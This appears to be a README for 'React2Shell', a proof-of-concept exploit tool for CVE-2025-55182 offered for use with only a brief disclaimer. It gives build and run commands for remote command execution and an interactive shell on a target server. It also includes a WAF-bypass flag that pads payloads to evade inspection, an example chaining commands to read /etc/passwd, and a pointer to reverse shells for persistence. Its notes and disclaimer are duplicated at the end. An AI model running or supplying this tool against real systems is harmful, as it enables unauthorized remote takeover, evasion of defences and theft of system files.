React2Shell

CVE-2025-55182 PoC

Usage

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

Build

go build -o react2shell .

Options

Flag	Description
-u	Target URL
-c	Single command (optional)
-waf	WAF bypass junk size in KB (optional)

Notes

• Each command runs in a new shell session
• Use ; or && to chain commands: cd /etc && cat passwd
• WAF bypass adds junk data before payload to evade content inspection

Disclaimer

For authorized security testing only.

• Use ; or && to chain commands: cd /etc && cat passwd
• For persistent shell, use reverse shell

Disclaimer

For authorized security testing only.